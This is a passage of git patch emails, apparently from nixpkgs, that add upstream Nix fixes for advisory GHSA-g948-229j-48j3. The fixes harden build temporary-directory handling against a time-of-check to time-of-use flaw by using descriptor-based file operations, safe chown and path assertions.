+     case FileSerialisationMethod::NixArchive:
+         restorePath(path, source, startFsync);
+diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
+index 9ce3682f1..204a63c4e 100644
+--- a/src/libutil/file-system.cc
++++ b/src/libutil/file-system.cc
+@@ -298,7 +298,7 @@ void readFile(const Path & path, Sink & sink)
+ }
+ 
+ 
+-void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
++void writeFile(const Path & path, std::string_view s, mode_t mode, FsSync sync)
+ {
+     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
+ // TODO
+@@ -308,22 +308,29 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
+        , mode));
+     if (!fd)
+         throw SysError("opening file '%1%'", path);
++
++    writeFile(fd, path, s, mode, sync);
++
++    /* Close explicitly to propagate the exceptions. */
++    fd.close();
++}
++
++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode, FsSync sync)
++{
++    assert(fd);
+     try {
+         writeFull(fd.get(), s);
++
++        if (sync == FsSync::Yes)
++            fd.fsync();
++
+     } catch (Error & e) {
+-        e.addTrace({}, "writing file '%1%'", path);
++        e.addTrace({}, "writing file '%1%'", origPath);
+         throw;
+     }
+-    if (sync)
+-        fd.fsync();
+-    // Explicitly close to make sure exceptions are propagated.
+-    fd.close();
+-    if (sync)
+-        syncParent(path);
+ }
+ 
+-
+-void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
++void writeFile(const Path & path, Source & source, mode_t mode, FsSync sync)
+ {
+     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
+ // TODO
+@@ -347,11 +354,11 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
+         e.addTrace({}, "writing file '%1%'", path);
+         throw;
+     }
+-    if (sync)
++    if (sync == FsSync::Yes)
+         fd.fsync();
+     // Explicitly close to make sure exceptions are propagated.
+     fd.close();
+-    if (sync)
++    if (sync == FsSync::Yes)
+         syncParent(path);
+ }
+ 
+@@ -414,7 +421,8 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
+ #ifndef _WIN32
+     checkInterrupt();
+ 
+-    std::string name(baseNameOf(path.native()));
++    std::string name(path.filename());
++    assert(name != "." && name != ".." && !name.empty());
+ 
+     struct stat st;
+     if (fstatat(parentfd, name.c_str(), &st,
+@@ -455,7 +463,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
+                 throw SysError("chmod %1%", path);
+         }
+ 
+-        int fd = openat(parentfd, path.c_str(), O_RDONLY);
++        int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
+         if (fd == -1)
+             throw SysError("opening directory %1%", path);
+         AutoCloseDir dir(fdopendir(fd));
+@@ -467,7 +475,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
+             checkInterrupt();
+             std::string childName = dirent->d_name;
+             if (childName == "." || childName == "..") continue;
+-            _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed);
++            _deletePath(dirfd(dir.get()), path / childName, bytesFreed);
+         }
+         if (errno) throw SysError("reading directory %1%", path);
+     }
+@@ -485,14 +493,13 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
+ 
+ static void _deletePath(const fs::path & path, uint64_t & bytesFreed)
+ {
+-    Path dir = dirOf(path.string());
+-    if (dir == "")
+-        dir = "/";
++    assert(path.is_absolute());
++    assert(path.parent_path() != path);
+ 
+-    AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY));
++    AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY));
+     if (!dirfd) {
+         if (errno == ENOENT) return;
+-        throw SysError("opening directory '%1%'", path);
++        throw SysError("opening directory %s", path.parent_path());
+     }
+ 
+     _deletePath(dirfd.get(), path, bytesFreed);
+diff --git a/src/libutil/include/nix/util/file-system.hh b/src/libutil/include/nix/util/file-system.hh
+index e6b1cfef3..9a0057bbe 100644
+--- a/src/libutil/include/nix/util/file-system.hh
++++ b/src/libutil/include/nix/util/file-system.hh
+@@ -193,21 +193,27 @@ std::string readFile(const Path & path);
+ std::string readFile(const std::filesystem::path & path);
+ void readFile(const Path & path, Sink & sink);
+ 
++enum struct FsSync { Yes, No };
++
+ /**
+  * Write a string to a file.
+  */
+-void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false);
+-static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, bool sync = false)
++void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
++
++static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No)
+ {
+     return writeFile(path.string(), s, mode, sync);
+ }
+ 
+-void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false);
+-static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, bool sync = false)
++void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No);
++
++static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No)
+ {
+     return writeFile(path.string(), source, mode, sync);
+ }
+ 
++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
++
+ /**
+  * Flush a path's parent directory to disk.
+  */
+-- 
+2.44.1
+

From 4172970a365351f91c1e09c014b3b1c0bc4b09ad Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Sun, 22 Jun 2025 18:50:46 +0200
Subject: [PATCH 1504/4511] nix_2_26: add patch for GHSA-g948-229j-48j3

This addresses a TOCTOU (Time-of-Check to Time-of-Use) vulnerability in Nix's
build system that could potentially allow privilege escalation or unauthorized
file access during the build process.

The patch includes:
- Safe file operations using file descriptors
- Secure temporary directory handling
- Safe chown operations
- PassAsFile security improvements
- Path validation fixes

(cherry picked from commit 639ad310605baa85093cdb0692759aedaaa02780)
---
 pkgs/tools/package-management/nix/default.nix |   1 +
 .../patches/ghsa-g948-229j-48j3-2.26.patch    | 463 ++++++++++++++++++
 2 files changed, 464 insertions(+)
 create mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.26.patch

diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index 2069f0658b26..e349fb920b8d 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -177,6 +177,7 @@ lib.makeExtensible (
       nix_2_26 = commonMeson {
         version = "2.26.3";
         hash = "sha256-5ZV8YqU8mfFmoAMiUEuBqNwk0T3vUR//x1D12BiYCeY=";
+        patches = [ ./patches/ghsa-g948-229j-48j3-2.26.patch ];
         self_attribute_name = "nix_2_26";
       };
 
diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.26.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.26.patch
new file mode 100644
index 000000000000..985e7b29e53f
--- /dev/null
+++ b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.26.patch
@@ -0,0 +1,463 @@
+From 787e012f26761e1455e711ab4ceedaa2c740621c Mon Sep 17 00:00:00 2001
+From: Eelco Dolstra <edolstra@gmail.com>
+Date: Thu, 19 Jun 2025 16:20:34 +0200
+Subject: [PATCH] Fixes for GHSA-g948-229j-48j3
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Squashed commit of the following:
+
+commit 04fff3a637d455cbb1d75937a235950e43008db9
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 12:30:32 2025 +0200
+
+    Chown structured attr files safely
+
+commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 12:14:04 2025 +0200
+
+    Replace 'bool sync' with an enum for clarity
+
+    And drop writeFileAndSync().
+
+commit 7ae0141f328d8e8e1094be24665789c05f974ba6
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 11:35:28 2025 +0200
+
+    Drop guessOrInventPathFromFD()
+
+    No need to do hacky stuff like that when we already know the original path.
+
+commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 11:15:58 2025 +0200
+
+    Tweak comment
+
+commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Thu Mar 27 12:22:26 2025 +0100
+
+    libstore: ensure that temporary directory is always 0o000 before deletion
+
+    In the case the deletion fails, we should ensure that the temporary
+    directory cannot be used for nefarious purposes.
+
+    Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 12:42:55 2025 +0100
+
+    libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds
+
+    When calling `_deletePath` with a parent file descriptor, `openat` is
+    made effective by using relative paths to the directory file descriptor.
+
+    To avoid the problem, the signature is changed to resist misuse with an
+    assert in the prologue of the function.
+
+    Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:07:47 2025 +0100
+
+    libstore: ensure that `passAsFile` is created in the original temp dir
+
+    This ensures that `passAsFile` data is created inside the expected
+    temporary build directory by `openat()` from the parent directory file
+    descriptor.
+
+    This avoids a TOCTOU which is part of the attack chain of CVE-????.
+
+    Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:06:03 2025 +0100
+
+    libutil: writeFile variant for file descriptors
+
+    `writeFile` lose its `sync` boolean flag to make things simpler.
+
+    A new `writeFileAndSync` function is created and all call sites are
+    converted to it.
+
+    Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 732bd9b98cabf4aaf95a01fd318923de303f9996
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:05:34 2025 +0100
+
+    libstore: chown to builder variant for file descriptors
+
+    We use it immediately for the build temporary directory.
+
+    Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 962c65f8dcd5570dd92c72370a862c7b38942e0d
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:04:59 2025 +0100
+
+    libstore: open build directory as a dirfd as well
+
+    We now keep around a proper AutoCloseFD around the temporary directory
+    which we plan to use for openat operations and avoiding the build
+    directory being swapped out while we are doing something else.
+
+    Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit c9b42462b75b5a37ee6564c2b53cff186c8323da
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:04:12 2025 +0100
+
+    libutil: guess or invent a path from file descriptors
+
+    This is useful for certain error recovery paths (no pun intended) that
+    does not thread through the original path name.
+
+    Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
+---
+ src/libstore/local-store.cc                   |  6 +--
+ .../unix/build/local-derivation-goal.cc       | 46 ++++++++++++++----
+ .../unix/build/local-derivation-goal.hh       | 20 ++++++++
+ src/libutil/file-content-address.cc           |  2 +-
+ src/libutil/file-system.cc                    | 47 +++++++++++--------
+ src/libutil/file-system.hh                    | 14 ++++--
+ 6 files changed, 99 insertions(+), 36 deletions(-)
+
+diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
+index 9a7a941b6..c0c808e0a 100644
+--- a/src/libstore/local-store.cc
++++ b/src/libstore/local-store.cc
+@@ -116,7 +116,7 @@ LocalStore::LocalStore(
+     state->stmts = std::make_unique<State::Stmts>();
+ 
+     /* Create missing state directories if they don't already exist. */
+-    createDirs(realStoreDir);
++    createDirs(realStoreDir.get());
+     if (readOnly) {
+         experimentalFeatureSettings.require(Xp::ReadOnlyLocalStore);
+     } else {
+@@ -248,7 +248,7 @@ LocalStore::LocalStore(
+     else if (curSchema == 0) { /* new store */
+         curSchema = nixSchemaVersion;
+         openDB(*state, true);
+-        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
++        writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes);
+     }
+ 
+     else if (curSchema < nixSchemaVersion) {
+@@ -299,7 +299,7 @@ LocalStore::LocalStore(
+             txn.commit();
+         }
+ 
+-        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
++        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes);
+ 
+         lockFile(globalLock.get(), ltRead, true);
+     }
+diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
+index 5b9bc0bb0..80309e332 100644
+--- a/src/libstore/unix/build/local-derivation-goal.cc
++++ b/src/libstore/unix/build/local-derivation-goal.cc
+@@ -559,7 +559,14 @@ void LocalDerivationGoal::startBuilder()
+     } else {
+         tmpDir = topTmpDir;
+     }
+-    chownToBuilder(tmpDir);
++
++    /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
++       POSIX semantics.*/
++    tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
++    if (!tmpDirFd)
++        throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
++
++    chownToBuilder(tmpDirFd.get(), tmpDir);
+ 
+     for (auto & [outputName, status] : initialOutputs) {
+         /* Set scratch path we'll actually use during the build.
+@@ -1157,9 +1164,7 @@ void LocalDerivationGoal::initTmpDir()
+             } else {
+                 auto hash = hashString(HashAlgorithm::SHA256, i.first);
+                 std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false);
+-                Path p = tmpDir + "/" + fn;
+-                writeFile(p, rewriteStrings(i.second, inputRewrites));
+-                chownToBuilder(p);
++                writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites));
+                 env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
+             }
+         }
+@@ -1264,11 +1269,9 @@ void LocalDerivationGoal::writeStructuredAttrs()
+ 
+         auto jsonSh = writeStructuredAttrsShell(json);
+ 
+-        writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites));
+-        chownToBuilder(tmpDir + "/.attrs.sh");
++        writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites));
+         env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh";
+-        writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites));
+-        chownToBuilder(tmpDir + "/.attrs.json");
++        writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites));
+         env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json";
+     }
+ }
+@@ -1779,6 +1782,24 @@ void setupSeccomp()
+ #endif
+ }
+ 
++void LocalDerivationGoal::chownToBuilder(int fd, const Path & path)
++{
++    if (!buildUser) return;
++    if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1)
++        throw SysError("cannot change ownership of file '%1%'", path);
++}
++
++void LocalDerivationGoal::writeBuilderFile(
++    const std::string & name,
++    std::string_view contents)
++{
++    auto path = std::filesystem::path(tmpDir) / name;
++    AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
++    if (!fd)
++        throw SysError("creating file %s", path);
++    writeFile(fd, path, contents);
++    chownToBuilder(fd.get(), path);
++}
+ 
+ void LocalDerivationGoal::runChild()
+ {
+@@ -3038,6 +3059,15 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
+ void LocalDerivationGoal::deleteTmpDir(bool force)
+ {
+     if (topTmpDir != "") {
++        /* As an extra precaution, even in the event of `deletePath` failing to
++         * clean up, the `tmpDir` will be chowned as if we were to move
++         * it inside the Nix store.
++         *
++         * This hardens against an attack which smuggles a file descriptor
++         * to make use of the temporary directory.
++         */
++        chmod(topTmpDir.c_str(), 0000);
++
+         /* Don't keep temporary directories for builtins because they
+            might have privileged stuff (like a copy of netrc). */
+         if (settings.keepFailed && !force && !drv->isBuiltin()) {
+diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh
+index 1ea247661..74a1e1c50 100644
+--- a/src/libstore/unix/build/local-derivation-goal.hh
++++ b/src/libstore/unix/build/local-derivation-goal.hh
+@@ -37,6 +37,11 @@ struct LocalDerivationGoal : public DerivationGoal
+      */
+     Path topTmpDir;
+ 
++    /**
++     * The file descriptor of the temporary directory.
++     */
++    AutoCloseFD tmpDirFd;
++
+     /**
+      * The path of the temporary directory in the sandbox.
+      */
+@@ -244,9 +249,24 @@ struct LocalDerivationGoal : public DerivationGoal
+ 
+     /**
+      * Make a file owned by the builder.
++     *
++     * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor.
++     * It's only safe to call in a child of a directory only visible to the owner.
+      */
+     void chownToBuilder(const Path & path);
+ 
++    /**
++     * Make a file owned by the builder addressed by its file descriptor.
++     */
++    void chownToBuilder(int fd, const Path & path);
++
++    /**
++     * Create a file in `tmpDir` owned by the builder.
++     */
++    void writeBuilderFile(
++        const std::string & name,
++        std::string_view contents);
++
+     int getChildStatus() override;
+ 
+     /**
+diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc
+index 69301d9c8..2b6839346 100644
+--- a/src/libutil/file-content-address.cc
++++ b/src/libutil/file-content-address.cc
+@@ -93,7 +93,7 @@ void restorePath(
+ {
+     switch (method) {
+     case FileSerialisationMethod::Flat:
+-        writeFile(path, source, 0666, startFsync);
++        writeFile(path, source, 0666, startFsync ? FsSync::Yes : FsSync::No);
+         break;
+     case FileSerialisationMethod::NixArchive:
+         restorePath(path, source, startFsync);
+diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
+index 6fe93b63a..b3183f495 100644
+--- a/src/libutil/file-system.cc
++++ b/src/libutil/file-system.cc
+@@ -258,7 +258,7 @@ void readFile(const Path & path, Sink & sink)
+ }
+ 
+ 
+-void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
++void writeFile(const Path & path, std::string_view s, mode_t mode, FsSync sync)
+ {
+     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
+ // TODO
+@@ -268,22 +268,29 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
+        , mode));
+     if (!fd)
+         throw SysError("opening file '%1%'", path);
++
++    writeFile(fd, path, s, mode, sync);
++
++    /* Close explicitly to propagate the exceptions. */
++    fd.close();
++}
++
++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode, FsSync sync)
++{
++    assert(fd);
+     try {
+         writeFull(fd.get(), s);
++
++        if (sync == FsSync::Yes)
++            fd.fsync();
++
+     } catch (Error & e) {
+-        e.addTrace({}, "writing file '%1%'", path);
++        e.addTrace({}, "writing file '%1%'", origPath);
+         throw;
+     }
+-    if (sync)
+-        fd.fsync();
+-    // Explicitly close to make sure exceptions are propagated.
+-    fd.close();
+-    if (sync)
+-        syncParent(path);
+ }
+ 
+-
+-void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
++void writeFile(const Path & path, Source & source, mode_t mode, FsSync sync)
+ {
+     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
+ // TODO
+@@ -307,11 +314,11 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
+         e.addTrace({}, "writing file '%1%'", path);
+         throw;
+     }
+-    if (sync)
++    if (sync == FsSync::Yes)
+         fd.fsync();
+     // Explicitly close to make sure exceptions are propagated.
+     fd.close();
+-    if (sync)
++    if (sync == FsSync::Yes)
+         syncParent(path);
+ }
+ 
+@@ -374,7 +381,8 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
+ #ifndef _WIN32
+     checkInterrupt();
+ 
+-    std::string name(baseNameOf(path.native()));
++    std::string name(path.filename());
++    assert(name != "." && name != ".." && !name.empty());
+ 
+     struct stat st;
+     if (fstatat(parentfd, name.c_str(), &st,
+@@ -415,7 +423,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
+                 throw SysError("chmod %1%", path);
+         }
+ 
+-        int fd = openat(parentfd, path.c_str(), O_RDONLY);
++        int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
+         if (fd == -1)
+             throw SysError("opening directory %1%", path);
+         AutoCloseDir dir(fdopendir(fd));
+@@ -427,7 +435,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
+             checkInterrupt();
+             std::string childName = dirent->d_name;
+             if (childName == "." || childName == "..") continue;
+-            _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed);
++            _deletePath(dirfd(dir.get()), path / childName, bytesFreed);
+         }
+         if (errno) throw SysError("reading directory %1%", path);
+     }
+@@ -445,14 +453,13 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
+ 
+ static void _deletePath(const fs::path & path, uint64_t & bytesFreed)
+ {
+-    Path dir = dirOf(path.string());
+-    if (dir == "")
+-        dir = "/";
++    assert(path.is_absolute());
++    assert(path.parent_path() != path);
+ 
+-    AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY));
++    AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY));
+     if (!dirfd) {
+         if (errno == ENOENT) return;
+-        throw SysError("opening directory '%1%'", path);
++        throw SysError("opening directory %s", path.parent_path());
+     }
+ 
+     _deletePath(dirfd.get(), path, bytesFreed);
+diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
+index 204907339..b2db8869e 100644
+--- a/src/libutil/file-system.hh
++++ b/src/libutil/file-system.hh
+@@ -194,21 +194,27 @@ std::string readFile(const Path & path);
+ std::string readFile(const std::filesystem::path & path);
+ void readFile(const Path & path, Sink & sink);
+ 
++enum struct FsSync { Yes, No };
++
+ /**
+  * Write a string to a file.
+  */
+-void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false);
+-static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, bool sync = false)
++void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
++
++static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No)
+ {
+     return writeFile(path.string(), s, mode, sync);
+ }
+ 
+-void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false);
+-static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, bool sync = false)
++void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No);
++
++static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No)
+ {
+     return writeFile(path.string(), source, mode, sync);
+ }
+ 
++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
++
+ /**
+  * Flush a path's parent directory to disk.
+  */
+-- 
+2.49.0
+

From 75ffde1c48340abc4ef282ae16c7e5332a526cb4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Sun, 22 Jun 2025 18:50:02 +0200
Subject: [PATCH 1505/4511] nix_2_24: add patch for GHSA-g948-229j-48j3

This addresses a TOCTOU (Time-of-Check to Time-of-Use) vulnerability in Nix's
build system that could potentially allow privilege escalation or unauthorized
file access during the build process.

The patch includes:
- Safe file operations using file descriptors
- Secure temporary directory handling
- Safe chown operations
- PassAsFile security improvements
- Path validation fixes

(cherry picked from commit 3d27c5f2485588fd7f61eb2e0ead168d2b94addc)
---
 pkgs/tools/package-management/nix/default.nix |   1 +
 .../patches/ghsa-g948-229j-48j3-2.24.patch    | 436 ++++++++++++++++++
 2 files changed, 437 insertions(+)
 create mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch

diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index e349fb920b8d..8e7cf037cb3f 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -171,6 +171,7 @@ lib.makeExtensible (
       nix_2_24 = commonAutoconf {
         version = "2.24.14";
         hash = "sha256-SthMCsj6POjawLnJq9+lj/UzObX9skaeN1UGmMZiwTY=";
+        patches = [ ./patches/ghsa-g948-229j-48j3-2.24.patch ];
         self_attribute_name = "nix_2_24";
       };
 
diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch
new file mode 100644
index 000000000000..27b16dc6b8c6
--- /dev/null
+++ b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch
@@ -0,0 +1,436 @@
+From b0fab9f90b397a2b02f41df5f467ae3cf8b91c3c Mon Sep 17 00:00:00 2001
+From: Eelco Dolstra <edolstra@gmail.com>
+Date: Thu, 19 Jun 2025 16:20:34 +0200
+Subject: [PATCH] Fixes for GHSA-g948-229j-48j3
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Squashed commit of the following:
+
+commit 04fff3a637d455cbb1d75937a235950e43008db9
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 12:30:32 2025 +0200
+
+    Chown structured attr files safely
+
+commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 12:14:04 2025 +0200
+
+    Replace 'bool sync' with an enum for clarity
+
+    And drop writeFileAndSync().
+
+commit 7ae0141f328d8e8e1094be24665789c05f974ba6
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 11:35:28 2025 +0200
+
+    Drop guessOrInventPathFromFD()
+
+    No need to do hacky stuff like that when we already know the original path.
+
+commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08
+Author: Eelco Dolstra <edolstra@gmail.com>
+Date:   Thu Jun 12 11:15:58 2025 +0200
+
+    Tweak comment
+
+commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Thu Mar 27 12:22:26 2025 +0100
+
+    libstore: ensure that temporary directory is always 0o000 before deletion
+
+    In the case the deletion fails, we should ensure that the temporary
+    directory cannot be used for nefarious purposes.
+
+    Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 12:42:55 2025 +0100
+
+    libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds
+
+    When calling `_deletePath` with a parent file descriptor, `openat` is
+    made effective by using relative paths to the directory file descriptor.
+
+    To avoid the problem, the signature is changed to resist misuse with an
+    assert in the prologue of the function.
+
+    Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:07:47 2025 +0100
+
+    libstore: ensure that `passAsFile` is created in the original temp dir
+
+    This ensures that `passAsFile` data is created inside the expected
+    temporary build directory by `openat()` from the parent directory file
+    descriptor.
+
+    This avoids a TOCTOU which is part of the attack chain of CVE-????.
+
+    Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:06:03 2025 +0100
+
+    libutil: writeFile variant for file descriptors
+
+    `writeFile` lose its `sync` boolean flag to make things simpler.
+
+    A new `writeFileAndSync` function is created and all call sites are
+    converted to it.
+
+    Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 732bd9b98cabf4aaf95a01fd318923de303f9996
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:05:34 2025 +0100
+
+    libstore: chown to builder variant for file descriptors
+
+    We use it immediately for the build temporary directory.
+
+    Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947
